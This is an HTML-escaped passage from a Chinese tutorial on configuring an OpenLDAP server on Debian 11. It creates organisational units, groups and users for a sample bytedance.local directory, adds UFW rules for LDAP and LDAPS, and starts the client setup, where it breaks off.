&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;China_Level3_OUs.ldif &amp;lt;&amp;lt;EOF
# Development under Douyin_Dep
dn: ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Development
description: Development team in Douyin_Dep

# Product under Douyin_Dep
dn: ou=Product,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Product
description: Product team in Douyin_Dep

# Operations under Douyin_Dep
dn: ou=Operations,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Operations
description: Operations team in Douyin_Dep

# Live_Broadcasting under Douyin_Dep
dn: ou=Live_Broadcasting,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Live_Broadcasting
description: Live Broadcasting team in Douyin_Dep

# Ecommerce under Douyin_Dep
dn: ou=Ecommerce,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Ecommerce
description: Ecommerce team in Douyin_Dep
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;AMS_Level3_OUs.ldif &amp;lt;&amp;lt;EOF
# Development under Tiktok_Dep
dn: ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Development
description: Development team in Tiktok_Dep

# Product under Lark_Dep
dn: ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Product
description: Product team in Lark_Dep
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# files=(&amp;quot;China_Level3_OUs.ldif&amp;quot; &amp;quot;AMS_Level3_OUs.ldif&amp;quot;)
for file in &amp;quot;${files[@]}&amp;quot;
do
    ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;$file
done
adding new entry &amp;quot;ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Product,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Operations,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Live_Broadcasting,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Ecommerce,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查 &lt;code&gt;ou&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出二级ou下指定三级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
dn: ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Development
description: Development team in Tiktok_Dep

# 列出二级ou下所有三级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;
dn: ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Douyin_Dep
description: Douyin department in Beijing

dn: ou=Product,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Product
description: Product team in Douyin_Dep

dn: ou=Ecommerce,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Ecommerce
description: Ecommerce team in Douyin_Dep

dn: ou=Operations,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Operations
description: Operations team in Douyin_Dep

dn: ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Development
description: Development team in Douyin_Dep

dn: ou=Live_Broadcasting,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Live_Broadcasting
description: Live Broadcasting team in Douyin_Dep
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h4 id=&quot;si-ji-ou-yong-hu-yu-zu&quot;&gt;四级 OU 用户与组&lt;&#x2F;h4&gt;
&lt;ol&gt;
&lt;li&gt;创建 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;UsersAndGroups_Level4_OUs.ldif &amp;lt;&amp;lt;EOF
# Users &amp;#x2F; Development &amp;#x2F; Douyin_Dep &amp;#x2F; Beijing
dn: ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Users
description: Users in Development team

# Groups &amp;#x2F; Development &amp;#x2F; Douyin_Dep &amp;#x2F; Beijing
dn: ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Groups
description: Groups in Development team

# Users &amp;#x2F; Development &amp;#x2F; Tiktok_Dep &amp;#x2F; MountainView
dn: ou=Users,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Users
description: Users in Development team of Tiktok

# Groups &amp;#x2F; Development &amp;#x2F; Tiktok_Dep &amp;#x2F; MountainView
dn: ou=Groups,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Groups
description: Groups in Development team of Tiktok

# Users &amp;#x2F; Product &amp;#x2F; Lark_Dep &amp;#x2F; SanJose
dn: ou=Users,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Users
description: Users in Product team of Lark

# Groups &amp;#x2F; Product &amp;#x2F; Lark_Dep &amp;#x2F; SanJose
dn: ou=Groups,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Groups
description: Groups in Product team of Lark
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;应用配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;UsersAndGroups_Level4_OUs.ldif
adding new entry &amp;quot;ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Users,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Groups,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Users,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

adding new entry &amp;quot;ou=Groups,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;检查 &lt;code&gt;ou&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 列出三级ou下所有四级ou
root@ldap01:~# ldapsearch -x -LLL -H ldap:&amp;#x2F;&amp;#x2F;ldap01.bytedance.local -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -b &amp;quot;ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;
dn: ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Development
description: Development team in Douyin_Dep

dn: ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Users
description: Users in Development team

dn: ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: organizationalUnit
ou: Groups
description: Groups in Development team
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;she-zhi-ufw-fang-huo-qiang&quot;&gt;设置 UFW 防火墙&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;将 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 和 &lt;code&gt;LDAPS&lt;&#x2F;code&gt; 服务添加到 &lt;code&gt;UFW&lt;&#x2F;code&gt; 防火墙&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ufw allow LDAP
Rule added
Rule added (v6)
root@ldap01:~# ufw allow LDAPS
Rule added
Rule added (v6)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;重载 &lt;code&gt;UFW&lt;&#x2F;code&gt; 防火墙规则，以及查看启用的服务列表&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ufw reload
Firewall reloaded

root@ldap01:~# ufw status
Status: active

To                         Action      From
--                         ------      ----
22&amp;#x2F;tcp                     ALLOW       Anywhere
LDAP                       ALLOW       Anywhere
LDAPS                      ALLOW       Anywhere
22&amp;#x2F;tcp (v6)                ALLOW       Anywhere (v6)
LDAP (v6)                  ALLOW       Anywhere (v6)
LDAPS (v6)                 ALLOW       Anywhere (v6)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;获取关于 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 应用程序配置的信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ufw app info LDAP
Profile: LDAP
Title: LDAP server
Description: LDAP server

Port:
  389&amp;#x2F;tcp                            # 默认监听端口：389（明文数据传输）

root@ldap01:~# ufw app info LDAPS
Profile: LDAPS
Title: LDAP server (LDAPS)
Description: LDAP server (LDAPS)

Port:
  636&amp;#x2F;tcp                            # 加密监听端口：636（密文数据传输）
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;chuang-jian-entity-xiang&quot;&gt;创建 Entity 项&lt;&#x2F;h2&gt;
&lt;h3 id=&quot;chuang-jian-yong-hu-zu&quot;&gt;&lt;strong&gt;创建用户组&lt;&#x2F;strong&gt;&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;cn (Common Name) 通常被用于定义群组名称&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;创建用户组配置如下：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;zhangsan_group.ldif &amp;lt;&amp;lt;EOF
# Group zhangsan
dn: cn=zhangsan,ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: posixGroup
gidNumber: 10001
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;liming_group.ldif &amp;lt;&amp;lt;EOF
# Group liming
dn: cn=liming,ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: posixGroup
gidNumber: 10002
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;john_group.ldif &amp;lt;&amp;lt;EOF
# Group john
dn: cn=john,ou=Groups,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: posixGroup
gidNumber: 10003
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;alice_group.ldif &amp;lt;&amp;lt;EOF
# Group alice
dn: cn=alice,ou=Groups,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: posixGroup
gidNumber: 10004
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;执行添加定义的用户组：&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;zhangsan_group.ldif
adding new entry &amp;quot;cn=zhangsan,ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;liming_group.ldif
adding new entry &amp;quot;cn=liming,ou=Groups,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;john_group.ldif
adding new entry &amp;quot;cn=john,ou=Groups,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;alice_group.ldif
adding new entry &amp;quot;cn=alice,ou=Groups,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h3 id=&quot;chuang-jian-xin-yong-hu&quot;&gt;创建新用户&lt;&#x2F;h3&gt;
&lt;blockquote&gt;
&lt;p&gt;uid (User ID) 通常被用于定义用户&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;使用 &lt;code&gt;slappasswd&lt;&#x2F;code&gt; 命令生成加密密码&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 将加密后的默认密码替换到 LDIF 文件中的 userPassword 属性
root@ldap01:~# slappasswd -h {CRYPT} -s Password@12345
{CRYPT}guKt2Bb2pelOw2Bmei4jpMvc
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;创建用户配置文件&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;zhangsan_user.ldif &amp;lt;&amp;lt;EOF
# Add user zhangsan to LDAP Server
dn: uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: zhangsan
uid: zhangsan
uidNumber: 10001
gidNumber: 10001
homeDirectory: &amp;#x2F;home&amp;#x2F;zhangsan
userPassword: {CRYPT}guKt2Bb2pelOw2Bmei4jpMvc
loginShell: &amp;#x2F;bin&amp;#x2F;bash
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;liming_user.ldif &amp;lt;&amp;lt;EOF
# Add user liming to LDAP Server
dn: uid=liming,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: liming
uid: liming
uidNumber: 10002
gidNumber: 10002
homeDirectory: &amp;#x2F;home&amp;#x2F;liming
userPassword: {CRYPT}guKt2Bb2pelOw2Bmei4jpMvc
loginShell: &amp;#x2F;bin&amp;#x2F;bash
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;john_user.ldif &amp;lt;&amp;lt;EOF
# Add user john to LDAP Server
dn: uid=john,ou=Users,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: john
uid: john
uidNumber: 10003
gidNumber: 10003
homeDirectory: &amp;#x2F;home&amp;#x2F;john
userPassword: {CRYPT}guKt2Bb2pelOw2Bmei4jpMvc
loginShell: &amp;#x2F;bin&amp;#x2F;bash
EOF

root@ldap01:~# cat &amp;gt; &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;alice_user.ldif &amp;lt;&amp;lt;EOF
# Add user alice to LDAP Server
dn: uid=alice,ou=Users,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: alice
uid: alice
uidNumber: 10004
gidNumber: 10004
homeDirectory: &amp;#x2F;home&amp;#x2F;alice
userPassword: {CRYPT}guKt2Bb2pelOw2Bmei4jpMvc
loginShell: &amp;#x2F;bin&amp;#x2F;bash
EOF
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;基于 &lt;code&gt;ldif&lt;&#x2F;code&gt; 文件来添加新用户&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;zhangsan_user.ldif
adding new entry &amp;quot;uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;liming_user.ldif
adding new entry &amp;quot;uid=liming,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;john_user.ldif
adding new entry &amp;quot;uid=john,ou=Users,ou=Development,ou=Tiktok_Dep,ou=MountainView,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;

root@ldap01:~# ldapadd -x -D &amp;quot;cn=admin,dc=bytedance,dc=local&amp;quot; -w 1qaz!QAZ -f &amp;#x2F;etc&amp;#x2F;ldap&amp;#x2F;custom-schema&amp;#x2F;users&amp;#x2F;alice_user.ldif
adding new entry &amp;quot;uid=alice,ou=Users,ou=Product,ou=Lark_Dep,ou=SanJose,o=Bytedance_AMS,dc=bytedance,dc=local&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;获取指定用户信息&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapsearch -x -b &amp;quot;uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot;
# extended LDIF
#
# LDAPv3
# base &amp;lt;uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;gt; with scope subtree
# filter: (objectclass=*)
# requesting: ALL
#

# zhangsan, Users, Development, Douyin_Dep, Beijing, Bytedance_China, bytedance.local
dn: uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
objectClass: top
objectClass: account
objectClass: posixAccount
objectClass: shadowAccount
cn: zhangsan
uid: zhangsan
uidNumber: 10001
gidNumber: 10001
homeDirectory: &amp;#x2F;home&amp;#x2F;zhangsan
loginShell: &amp;#x2F;bin&amp;#x2F;bash

# search result
search: 2
result: 0 Success

# numResponses: 2
# numEntries: 1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;尝试使用 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 用户进行身份验证&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@ldap01:~# ldapwhoami -x -D &amp;quot;uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local&amp;quot; -W
Enter LDAP Password:    # 默认密码是 Password@12345
dn:uid=zhangsan,ou=Users,ou=Development,ou=Douyin_Dep,ou=Beijing,o=Bytedance_China,dc=bytedance,dc=local
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;ke-hu-duan-ce-shi&quot;&gt;客户端测试&lt;&#x2F;h2&gt;
&lt;ol&gt;
&lt;li&gt;添加域名解析&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@localhost:~# echo &amp;quot;10.2.102.201    ldap01.bytedance.local&amp;quot; &amp;gt;&amp;gt; &amp;#x2F;etc&amp;#x2F;hosts
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;安装 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 客户端工具及依赖包&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;root@localhost:~# apt-get install -y ldap-utils libnss-ldapd libpam-ldapd
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;配置 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 服务器地址&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;ldap-client-config.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;配置 &lt;code&gt;LDAP&lt;&#x2F;code&gt; 根 &lt;code&gt;dc&lt;&#x2F;code&gt; (&lt;code&gt;Domain Component&lt;&#x2F;code&gt;)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;ldap-base-dn-config.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;勾选 &lt;code&gt;passwd&#x2F;group&#x2F;shadow&lt;&#x2F;code&gt; 选项（或在 &lt;code&gt;&#x2F;etc&#x2F;nsswitch.conf&lt;&#x2F;code&gt; 配置文件中修改）&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;openldap-debian11&#x2F;openldap-nsswitch-config.webp&quot; alt=&quot;&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;修改 &lt;code&gt;&#x2F;etc&#x2F;ldap&#x2F;ldap.conf&lt;&#x2F;code&gt; 配置&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;# 配置 LDAP 客户端
